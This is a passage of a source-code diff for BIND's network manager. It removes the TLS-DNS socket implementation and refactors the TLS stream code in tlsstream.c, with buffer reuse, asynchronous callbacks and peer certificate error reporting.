-	csock->recv_cbarg = ssock->recv_cbarg;
-	csock->quota = quota;
-	csock->accepting = true;
-
-	worker = &csock->mgr->workers[csock->tid];
-
-	r = uv_tcp_init(&worker->loop, &csock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data(&csock->uv_handle.handle, csock);
-
-	r = uv_timer_init(&worker->loop, &csock->timer);
-	RUNTIME_CHECK(r == 0);
-	uv_handle_set_data((uv_handle_t *)&csock->timer, csock);
-
-	r = uv_accept(&ssock->uv_handle.stream, &csock->uv_handle.stream);
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto failure;
-	}
-
-	r = uv_tcp_getpeername(&csock->uv_handle.tcp,
-			       (struct sockaddr *)&peer_ss,
-			       &(int){ sizeof(peer_ss) });
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto failure;
-	}
-
-	result = isc_sockaddr_fromsockaddr(&csock->peer,
-					   (struct sockaddr *)&peer_ss);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	r = uv_tcp_getsockname(&csock->uv_handle.tcp,
-			       (struct sockaddr *)&local_ss,
-			       &(int){ sizeof(local_ss) });
-	if (r != 0) {
-		result = isc__nm_uverr2result(r);
-		goto failure;
-	}
-
-	result = isc_sockaddr_fromsockaddr(&local,
-					   (struct sockaddr *)&local_ss);
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	/*
-	 * The handle will be either detached on acceptcb failure or in
-	 * the readcb.
-	 */
-	handle = isc__nmhandle_get(csock, NULL, &local);
-
-	result = ssock->accept_cb(handle, ISC_R_SUCCESS, ssock->accept_cbarg);
-	if (result != ISC_R_SUCCESS) {
-		isc_nmhandle_detach(&handle);
-		goto failure;
-	}
-
-	csock->tls.state = TLS_STATE_NONE;
-
-	csock->tls.tls = isc_tls_create(ssock->tls.ctx);
-	RUNTIME_CHECK(csock->tls.tls != NULL);
-
-	r = BIO_new_bio_pair(&csock->tls.ssl_wbio, ISC_NETMGR_TLSBUF_SIZE,
-			     &csock->tls.app_rbio, ISC_NETMGR_TLSBUF_SIZE);
-	RUNTIME_CHECK(r == 1);
-
-	r = BIO_new_bio_pair(&csock->tls.ssl_rbio, ISC_NETMGR_TLSBUF_SIZE,
-			     &csock->tls.app_wbio, ISC_NETMGR_TLSBUF_SIZE);
-	RUNTIME_CHECK(r == 1);
-
-#if HAVE_SSL_SET0_RBIO && HAVE_SSL_SET0_WBIO
-	/*
-	 * Note that if the rbio and wbio are the same then
-	 * SSL_set0_rbio() and SSL_set0_wbio() each take ownership of
-	 * one reference. Therefore it may be necessary to increment the
-	 * number of references available using BIO_up_ref(3) before
-	 * calling the set0 functions.
-	 */
-	SSL_set0_rbio(csock->tls.tls, csock->tls.ssl_rbio);
-	SSL_set0_wbio(csock->tls.tls, csock->tls.ssl_wbio);
-#else
-	SSL_set_bio(csock->tls.tls, csock->tls.ssl_rbio, csock->tls.ssl_wbio);
-#endif
-
-	SSL_set_accept_state(csock->tls.tls);
-
-	/* FIXME: Set SSL_MODE_RELEASE_BUFFERS */
-
-	csock->accepting = false;
-
-	isc__nm_incstats(csock->mgr, csock->statsindex[STATID_ACCEPT]);
-
-	csock->read_timeout = atomic_load(&csock->mgr->init);
-
-	csock->closehandle_cb = isc__nm_resume_processing;
-
-	/*
-	 * We need to keep the handle alive until we fail to read or
-	 * connection is closed by the other side, it will be detached
-	 * via prep_destroy()->tlsdns_close_direct().
-	 */
-	isc_nmhandle_attach(handle, &csock->recv_handle);
-
-	/*
-	 * The initial timer has been set, update the read timeout for
-	 * the next reads.
-	 */
-	csock->read_timeout = (atomic_load(&csock->keepalive)
-				       ? atomic_load(&csock->mgr->keepalive)
-				       : atomic_load(&csock->mgr->idle));
-
-	isc_nmhandle_detach(&handle);
-
-	isc__nm_process_sock_buffer(csock);
-
-	/*
-	 * sock is now attached to the handle.
-	 */
-	isc__nmsocket_detach(&csock);
-
-	return (ISC_R_SUCCESS);
-
-failure:
-	atomic_store(&csock->active, false);
-
-	isc__nm_failed_accept_cb(csock, result);
-
-	isc__nmsocket_prep_destroy(csock);
-
-	isc__nmsocket_detach(&csock);
-
-	return (result);
-}
-
-void
-isc__nm_tlsdns_send(isc_nmhandle_t *handle, isc_region_t *region,
-		    isc_nm_cb_t cb, void *cbarg) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-
-	isc_nmsocket_t *sock = handle->sock;
-	isc__netievent_tlsdnssend_t *ievent = NULL;
-	isc__nm_uvreq_t *uvreq = NULL;
-
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-
-	uvreq = isc__nm_uvreq_get(sock->mgr, sock);
-	*(uint16_t *)uvreq->tcplen = htons(region->length);
-	uvreq->uvbuf.base = (char *)region->base;
-	uvreq->uvbuf.len = region->length;
-
-	isc_nmhandle_attach(handle, &uvreq->handle);
-
-	uvreq->cb.send = cb;
-	uvreq->cbarg = cbarg;
-
-	ievent = isc__nm_get_netievent_tlsdnssend(sock->mgr, sock, uvreq);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-	return;
-}
-
-/*
- * Handle 'tcpsend' async event - send a packet on the socket
- */
-void
-isc__nm_async_tlsdnssend(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc_result_t result;
-	isc__netievent_tlsdnssend_t *ievent =
-		(isc__netievent_tlsdnssend_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-
-	UNUSED(worker);
-
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	result = tlsdns_send_direct(sock, uvreq);
-	if (result != ISC_R_SUCCESS) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_SENDFAIL]);
-		isc__nm_failed_send_cb(sock, uvreq, result);
-	}
-}
-
-static void
-tlsdns_send_enqueue(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
-	isc__netievent_tlsdnssend_t *ievent =
-		isc__nm_get_netievent_tlsdnssend(sock->mgr, sock, req);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-static isc_result_t
-tlsdns_send_direct(isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {
-	isc_result_t result;
-	int err = 0;
-	int rv;
-	size_t bytes = 0;
-	size_t sendlen;
-	isc__networker_t *worker = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-
-	result = tls_pop_error(sock);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (isc__nmsocket_closing(sock)) {
-		return (ISC_R_CANCELED);
-	}
-
-	/* Writes won't succeed until handshake end */
-	if (!SSL_is_init_finished(sock->tls.tls)) {
-		goto requeue;
-	}
-
-	/*
-	 * There's no SSL_writev(), so we need to use a local buffer to
-	 * assemble the whole message
-	 */
-	worker = &sock->mgr->workers[sock->tid];
-	sendlen = req->uvbuf.len + sizeof(uint16_t);
-	memmove(worker->sendbuf, req->tcplen, sizeof(uint16_t));
-	memmove(worker->sendbuf + sizeof(uint16_t), req->uvbuf.base,
-		req->uvbuf.len);
-
-	rv = SSL_write_ex(sock->tls.tls, worker->sendbuf, sendlen, &bytes);
-	if (rv > 0) {
-		/* SSL_write_ex() doesn't do partial writes */
-		INSIST(sendlen == bytes);
-
-		isc__nm_sendcb(sock, req, ISC_R_SUCCESS, true);
-		async_tlsdns_cycle(sock);
-		return (ISC_R_SUCCESS);
-	}
-
-	/* Nothing was written, maybe enqueue? */
-	err = SSL_get_error(sock->tls.tls, rv);
-
-	switch (err) {
-	case SSL_ERROR_WANT_WRITE:
-	case SSL_ERROR_WANT_READ:
-		break;
-	case 0:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	default:
-		return (ISC_R_TLSERROR);
-	}
-
-	result = tls_cycle(sock);
-
-requeue:
-
-	tlsdns_send_enqueue(sock, req);
-
-	return (result);
-}
-
-static void
-tlsdns_stop_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	uv_handle_set_data(handle, NULL);
-
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
-
-	atomic_store(&sock->listening, false);
-
-	BIO_free_all(sock->tls.app_rbio);
-	BIO_free_all(sock->tls.app_wbio);
-
-	sock->tls.ctx = NULL;
-
-	isc__nmsocket_detach(&sock);
-}
-
-static void
-tlsdns_close_sock(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
-
-	if (sock->server != NULL) {
-		isc__nmsocket_detach(&sock->server);
-	}
-
-	atomic_store(&sock->connected, false);
-
-	if (sock->tls.tls != NULL) {
-		isc_tls_free(&sock->tls.tls);
-	}
-
-	BIO_free_all(sock->tls.app_rbio);
-	BIO_free_all(sock->tls.app_wbio);
-
-	sock->tls.ctx = NULL;
-
-	isc__nmsocket_prep_destroy(sock);
-}
-
-static void
-tlsdns_close_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-	uv_handle_set_data(handle, NULL);
-
-	tlsdns_close_sock(sock);
-}
-
-static void
-timer_close_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-	uv_handle_set_data(handle, NULL);
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	if (sock->parent) {
-		uv_close(&sock->uv_handle.handle, tlsdns_stop_cb);
-	} else if (uv_is_closing(&sock->uv_handle.handle)) {
-		tlsdns_close_sock(sock);
-	} else {
-		uv_close(&sock->uv_handle.handle, tlsdns_close_cb);
-	}
-}
-
-static void
-stop_tlsdns_child(isc_nmsocket_t *sock) {
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	tlsdns_close_direct(sock);
-
-	atomic_fetch_sub(&sock->parent->rchildren, 1);
-
-	isc_barrier_wait(&sock->parent->stoplistening);
-}
-
-static void
-stop_tlsdns_parent(isc_nmsocket_t *sock) {
-	isc_nmsocket_t *csock = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_tlsdnslistener);
-
-	isc_barrier_init(&sock->stoplistening, sock->nchildren);
-
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		csock = &sock->children[i];
-
-		REQUIRE(VALID_NMSOCK(csock));
-
-		if ((int)i == isc_nm_tid()) {
-			/*
-			 * We need to schedule closing the other sockets first
-			 */
-			continue;
-		}
-
-		atomic_store(&csock->active, false);
-		enqueue_stoplistening(csock);
-	}
-
-	csock = &sock->children[isc_nm_tid()];
-	atomic_store(&csock->active, false);
-	stop_tlsdns_child(csock);
-
-	atomic_store(&sock->closed, true);
-	isc__nmsocket_prep_destroy(sock);
-}
-
-static void
-tlsdns_close_direct(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	REQUIRE(sock->tls.pending_req == NULL);
-
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-
-	if (sock->recv_handle != NULL) {
-		isc_nmhandle_detach(&sock->recv_handle);
-	}
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
-	uv_close((uv_handle_t *)&sock->timer, timer_close_cb);
-}
-
-void
-isc__nm_tlsdns_close(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-	REQUIRE(!isc__nmsocket_active(sock));
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	if (sock->tid == isc_nm_tid()) {
-		tlsdns_close_direct(sock);
-	} else {
-		/*
-		 * We need to create an event and pass it using async
-		 * channel
-		 */
-		isc__netievent_tlsdnsclose_t *ievent =
-			isc__nm_get_netievent_tlsdnsclose(sock->mgr, sock);
-
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-}
-
-void
-isc__nm_async_tlsdnsclose(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnsclose_t *ievent =
-		(isc__netievent_tlsdnsclose_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	tlsdns_close_direct(sock);
-}
-
-static void
-tlsdns_close_connect_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-
-	REQUIRE(VALID_NMSOCK(sock));
-
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	isc__nmsocket_prep_destroy(sock);
-	isc__nmsocket_detach(&sock);
-}
-
-void
-isc__nm_tlsdns_shutdown(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-
-	/*
-	 * If the socket is active, mark it inactive and
-	 * continue. If it isn't active, stop now.
-	 */
-	if (!isc__nmsocket_deactivate(sock)) {
-		return;
-	}
-
-	if (sock->tls.tls) {
-		/* Shutdown any active TLS connections */
-		(void)SSL_shutdown(sock->tls.tls);
-	}
-
-	if (sock->accepting) {
-		return;
-	}
-
-	/* TLS handshake hasn't been completed yet */
-	if (atomic_load(&sock->connecting)) {
-		/*
-		 * TCP connection has been established, now waiting on
-		 * TLS handshake to complete
-		 */
-		if (sock->tls.pending_req != NULL) {
-			isc__nm_uvreq_t *req = sock->tls.pending_req;
-			sock->tls.pending_req = NULL;
-
-			isc__nm_failed_connect_cb(sock, req, ISC_R_CANCELED,
-						  false);
-			return;
-		}
-
-		/* The TCP connection hasn't been established yet */
-		isc_nmsocket_t *tsock = NULL;
-		isc__nmsocket_attach(sock, &tsock);
-		uv_close(&sock->uv_handle.handle, tlsdns_close_connect_cb);
-		return;
-	}
-
-	if (sock->statichandle != NULL) {
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
-		return;
-	}
-
-	/*
-	 * Otherwise, we just send the socket to abyss...
-	 */
-	if (sock->parent == NULL) {
-		isc__nmsocket_prep_destroy(sock);
-	}
-}
-
-void
-isc__nm_tlsdns_cancelread(isc_nmhandle_t *handle) {
-	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tlsdnscancel_t *ievent = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-
-	sock = handle->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tlsdnssocket);
-
-	ievent = isc__nm_get_netievent_tlsdnscancel(sock->mgr, sock, handle);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_tlsdnscancel(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tlsdnscancel_t *ievent =
-		(isc__netievent_tlsdnscancel_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	isc__nm_failed_read_cb(sock, ISC_R_EOF, false);
-}
-
-void
-isc_nm_tlsdns_sequential(isc_nmhandle_t *handle) {
-	isc_nmsocket_t *sock = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-	REQUIRE(handle->sock->type == isc_nm_tlsdnssocket);
-
-	sock = handle->sock;
-
-	/*
-	 * We don't want pipelining on this connection. That means
-	 * that we need to pause after reading each request, and
-	 * resume only after the request has been processed. This
-	 * is done in resume_processing(), which is the socket's
-	 * closehandle_cb callback, called whenever a handle
-	 * is released.
-	 */
-
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
-	atomic_store(&sock->sequential, true);
-}
-
-void
-isc_nm_tlsdns_keepalive(isc_nmhandle_t *handle, bool value) {
-	isc_nmsocket_t *sock = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
-	REQUIRE(handle->sock->type != isc_nm_tlsdnssocket);
-
-	sock = handle->sock;
-
-	atomic_store(&sock->keepalive, value);
-}
diff --git a/lib/isc/netmgr/tlsstream.c b/lib/isc/netmgr/tlsstream.c
index c8e7a70919..b66afde405 100644
--- a/lib/isc/netmgr/tlsstream.c
+++ b/lib/isc/netmgr/tlsstream.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,11 +14,11 @@
 #include <errno.h>
 #include <libgen.h>
 #include <unistd.h>
-#include <uv.h>
 
 #include <openssl/err.h>
 #include <openssl/ssl.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/buffer.h>
 #include <isc/condition.h>
@@ -34,25 +36,74 @@
 #include <isc/stdtime.h>
 #include <isc/thread.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
 #include "../openssl_shim.h"
 #include "netmgr-int.h"
-#include "uv-compat.h"
 
 #define TLS_BUF_SIZE (UINT16_MAX)
 
+#define TLS_MAX_SEND_BUF_SIZE (UINT16_MAX + UINT16_MAX / 2)
+
+#ifdef ISC_NETMGR_TRACE
+ISC_ATTR_UNUSED static const char *
+tls_status2str(int tls_status) {
+	switch (tls_status) {
+	case SSL_ERROR_NONE:
+		return ("SSL_ERROR_NONE");
+	case SSL_ERROR_ZERO_RETURN:
+		return ("SSL_ERROR_ZERO_RETURN");
+	case SSL_ERROR_WANT_WRITE:
+		return ("SSL_ERROR_WANT_WRITE");
+	case SSL_ERROR_WANT_READ:
+		return ("SSL_ERROR_WANT_READ");
+	case SSL_ERROR_SSL:
+		return ("SSL_ERROR_SSL");
+	default:
+		UNREACHABLE();
+	}
+}
+
+ISC_ATTR_UNUSED static const char *
+state2str(int state) {
+	switch (state) {
+	case TLS_INIT:
+		return ("TLS_INIT");
+	case TLS_HANDSHAKE:
+		return ("TLS_HANDSHAKE");
+	case TLS_IO:
+		return ("TLS_IO");
+	case TLS_CLOSED:
+		return ("TLS_CLOSED");
+	default:
+		UNREACHABLE();
+	}
+}
+#endif /* ISC_NETMGR_TRACE */
+
 static isc_result_t
-tls_error_to_result(int tls_err) {
+tls_error_to_result(const int tls_err, const int tls_state, isc_tls_t *tls) {
 	switch (tls_err) {
 	case SSL_ERROR_ZERO_RETURN:
 		return (ISC_R_EOF);
 	case SSL_ERROR_SSL:
+		if (tls != NULL && tls_state < TLS_IO &&
+		    SSL_get_verify_result(tls) != X509_V_OK)
+		{
+			return (ISC_R_TLSBADPEERCERT);
+		}
 		return (ISC_R_TLSERROR);
 	default:
 		return (ISC_R_UNEXPECTED);
 	}
 }
 
+static void
+tls_read_start(isc_nmsocket_t *restrict sock);
+
+static void
+tls_read_stop(isc_nmsocket_t *sock);
+
 static void
 tls_failed_read_cb(isc_nmsocket_t *sock, const isc_result_t result);
 
@@ -65,10 +116,25 @@ tls_readcb(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
 	   void *cbarg);
 
 static void
-tls_close_direct(isc_nmsocket_t *sock);
+async_tls_do_bio(isc_nmsocket_t *sock);
 
 static void
-async_tls_do_bio(isc_nmsocket_t *sock);
+tls_init_listener_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *ctx);
+
+static void
+tls_cleanup_listener_tlsctx(isc_nmsocket_t *listener);
+
+static isc_tlsctx_t *
+tls_get_listener_tlsctx(isc_nmsocket_t *listener, const int tid);
+
+static void
+tls_keep_client_tls_session(isc_nmsocket_t *sock);
+
+static void
+tls_try_shutdown(isc_tls_t *tls, const bool quite);
+
+static void
+tls_try_to_enable_tcp_nodelay(isc_nmsocket_t *tlssock);
 
 /*
  * The socket is closing, outerhandle has been detached, listener is
@@ -77,21 +143,17 @@ async_tls_do_bio(isc_nmsocket_t *sock);
  */
 static bool
 inactive(isc_nmsocket_t *sock) {
-	return (!isc__nmsocket_active(sock) || atomic_load(&sock->closing) ||
+	return (!isc__nmsocket_active(sock) || sock->closing ||
 		sock->outerhandle == NULL ||
 		!isc__nmsocket_active(sock->outerhandle->sock) ||
-		atomic_load(&sock->outerhandle->sock->closing) ||
-		(sock->listener != NULL &&
-		 !isc__nmsocket_active(sock->listener)) ||
-		atomic_load(&sock->mgr->closing));
+		sock->outerhandle->sock->closing ||
+		isc__nm_closing(sock->worker));
 }
 
 static void
 tls_call_connect_cb(isc_nmsocket_t *sock, isc_nmhandle_t *handle,
 		    const isc_result_t result) {
-	if (sock->connect_cb == NULL) {
-		return;
-	}
+	INSIST(sock->connect_cb != NULL);
 	sock->connect_cb(handle, result, sock->connect_cbarg);
 	if (result != ISC_R_SUCCESS) {
 		isc__nmsocket_clearcb(handle->sock);
@@ -104,6 +166,9 @@ tls_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
 		(isc_nmsocket_tls_send_req_t *)cbarg;
 	isc_nmsocket_t *tlssock = NULL;
 	bool finish = send_req->finish;
+	isc_nm_cb_t send_cb = NULL;
+	void *send_cbarg = NULL;
+	isc_nmhandle_t *send_handle = NULL;
 
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
@@ -111,11 +176,51 @@ tls_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
 
 	tlssock = send_req->tlssock;
 	send_req->tlssock = NULL;
+	send_cb = send_req->cb;
+	send_req->cb = NULL;
+	send_cbarg = send_req->cbarg;
+	send_req->cbarg = NULL;
+	send_handle = send_req->handle;
+	send_req->handle = NULL;
+
+	if (finish) {
+		tls_try_shutdown(tlssock->tlsstream.tls, true);
+	}
+
+	/* Try to keep the object to be reused later - to avoid an allocation */
+	if (tlssock->tlsstream.send_req == NULL) {
+		tlssock->tlsstream.send_req = send_req;
+		/*
+		 * We need to ensure that the buffer is not going to grow too
+		 * large uncontrollably. We try to keep its size to be no more
+		 * than TLS_MAX_SEND_BUF_SIZE. The constant should be larger
+		 * than 64 KB for this to work efficiently when combined with
+		 * DNS transports.
+		 */
+		if (isc_buffer_length(&send_req->data) > TLS_MAX_SEND_BUF_SIZE)
+		{
+			/* free the underlying buffer */
+			isc_buffer_clearmctx(&send_req->data);
+			isc_buffer_invalidate(&send_req->data);
+			isc_buffer_init(&send_req->data, send_req->smallbuf,
+					sizeof(send_req->smallbuf));
+			isc_buffer_setmctx(&send_req->data,
+					   handle->sock->worker->mctx);
+		} else {
+			isc_buffer_clear(&send_req->data);
+		}
+	} else {
+		isc_buffer_clearmctx(&send_req->data);
+		isc_buffer_invalidate(&send_req->data);
+		isc_mem_put(handle->sock->worker->mctx, send_req,
+			    sizeof(*send_req));
+	}
+	tlssock->tlsstream.nsending--;
 
-	if (send_req->cb != NULL) {
+	if (send_cb != NULL) {
 		INSIST(VALID_NMHANDLE(tlssock->statichandle));
-		send_req->cb(send_req->handle, eresult, send_req->cbarg);
-		isc_nmhandle_detach(&send_req->handle);
+		send_cb(send_handle, eresult, send_cbarg);
+		isc_nmhandle_detach(&send_handle);
 		/* The last handle has been just detached: close the underlying
 		 * socket. */
 		if (tlssock->statichandle == NULL) {
@@ -123,14 +228,13 @@ tls_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
 		}
 	}
 
-	isc_mem_put(handle->sock->mgr->mctx, send_req->data.base,
-		    send_req->data.length);
-	isc_mem_put(handle->sock->mgr->mctx, send_req, sizeof(*send_req));
-	tlssock->tlsstream.nsending--;
-
-	if (finish && eresult == ISC_R_SUCCESS) {
-		tlssock->tlsstream.reading = false;
-		isc_nm_cancelread(handle);
+	if (finish) {
+		/*
+		 * If wrapping up, call tls_failed_read() - it will care of
+		 * socket de-initialisation and calling the read callback, if
+		 * necessary.
+		 */
+		tls_failed_read_cb(tlssock, ISC_R_EOF);
 	} else if (eresult == ISC_R_SUCCESS) {
 		tls_do_bio(tlssock, NULL, NULL, false);
 	} else if (eresult != ISC_R_SUCCESS &&
@@ -153,12 +257,11 @@ tls_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
 }
 
 static void
-tls_failed_read_cb(isc_nmsocket_t *sock, const isc_result_t result) {
-	bool destroy = true;
-
+tls_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(result != ISC_R_SUCCESS);
 
+	/* This is TLS counterpart of isc__nm_failed_connect_cb() */
 	if (!sock->tlsstream.server &&
 	    (sock->tlsstream.state == TLS_INIT ||
 	     sock->tlsstream.state == TLS_HANDSHAKE) &&
@@ -170,37 +273,77 @@ tls_failed_read_cb(isc_nmsocket_t *sock, const isc_result_t result) {
 		tls_call_connect_cb(sock, handle, result);
 		isc__nmsocket_clearcb(sock);
 		isc_nmhandle_detach(&handle);
-	} else if (sock->recv_cb != NULL && sock->statichandle != NULL) {
-		isc__nm_uvreq_t *req = NULL;
-		INSIST(VALID_NMHANDLE(sock->statichandle));
-		req = isc__nm_uvreq_get(sock->mgr, sock);
-		req->cb.recv = sock->recv_cb;
-		req->cbarg = sock->recv_cbarg;
-		isc_nmhandle_attach(sock->statichandle, &req->handle);
-		if (result != ISC_R_TIMEDOUT) {
-			isc__nmsocket_clearcb(sock);
+		goto destroy;
+	}
+
+	isc__nmsocket_timer_stop(sock);
+
+	/* Nobody is reading from the socket yet */
+	if (sock->statichandle == NULL) {
+		goto destroy;
+	}
+
+	/* This is TLS counterpart of isc__nmsocket_readtimeout_cb() */
+	if (sock->client && result == ISC_R_TIMEDOUT) {
+		INSIST(sock->statichandle != NULL);
+
+		if (sock->recv_cb != NULL) {
+			isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
+			isc__nm_readcb(sock, req, ISC_R_TIMEDOUT, false);
 		}
-		isc__nm_readcb(sock, req, result);
-		if (result == ISC_R_TIMEDOUT &&
-		    (sock->outerhandle == NULL ||
-		     isc__nmsocket_timer_running(sock->outerhandle->sock)))
-		{
-			destroy = false;
+
+		if (isc__nmsocket_timer_running(sock)) {
+			/* Timer was restarted, bail-out */
+			return;
 		}
+
+		isc__nmsocket_clearcb(sock);
+
+		goto destroy;
 	}
 
-	if (destroy) {
-		isc__nmsocket_prep_destroy(sock);
-		isc__nmsocket_detach(&sock);
+	/*
+	 * We don't need to check for .nsending, as the callbacks will be
+	 * cleared at the time the tls_senddone() tries to call it for the
+	 * second time.
+	 */
+
+	if (sock->recv_cb != NULL) {
+		isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
+		isc__nmsocket_clearcb(sock);
+		isc__nm_readcb(sock, req, result, false);
 	}
+
+destroy:
+	isc__nmsocket_prep_destroy(sock);
+}
+
+void
+isc__nm_tls_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+			   bool async ISC_ATTR_UNUSED) {
+	if (!inactive(sock) && sock->tlsstream.state == TLS_IO) {
+		tls_do_bio(sock, NULL, NULL, true);
+		return;
+	}
+
+	tls_failed_read_cb(sock, result);
+}
+
+static void
+tls_do_bio_cb(void *arg) {
+	isc_nmsocket_t *sock = arg;
+
+	REQUIRE(VALID_NMSOCK(sock));
+
+	tls_do_bio(sock, NULL, NULL, false);
+
+	isc__nmsocket_detach(&sock);
 }
 
 static void
 async_tls_do_bio(isc_nmsocket_t *sock) {
-	isc__netievent_tlsdobio_t *ievent =
-		isc__nm_get_netievent_tlsdobio(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
+	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+	isc_async_run(sock->worker->loop, tls_do_bio_cb, sock);
 }
 
 static int
@@ -210,6 +353,8 @@ tls_send_outgoing(isc_nmsocket_t *sock, bool finish, isc_nmhandle_t *tlshandle,
 	int pending;
 	int rv;
 	size_t len = 0;
+	bool new_send_req = false;
+	isc_region_t used_region = { 0 };
 
 	if (inactive(sock)) {
 		if (cb != NULL) {
@@ -219,10 +364,9 @@ tls_send_outgoing(isc_nmsocket_t *sock, bool finish, isc_nmhandle_t *tlshandle,
 		return (0);
 	}
 
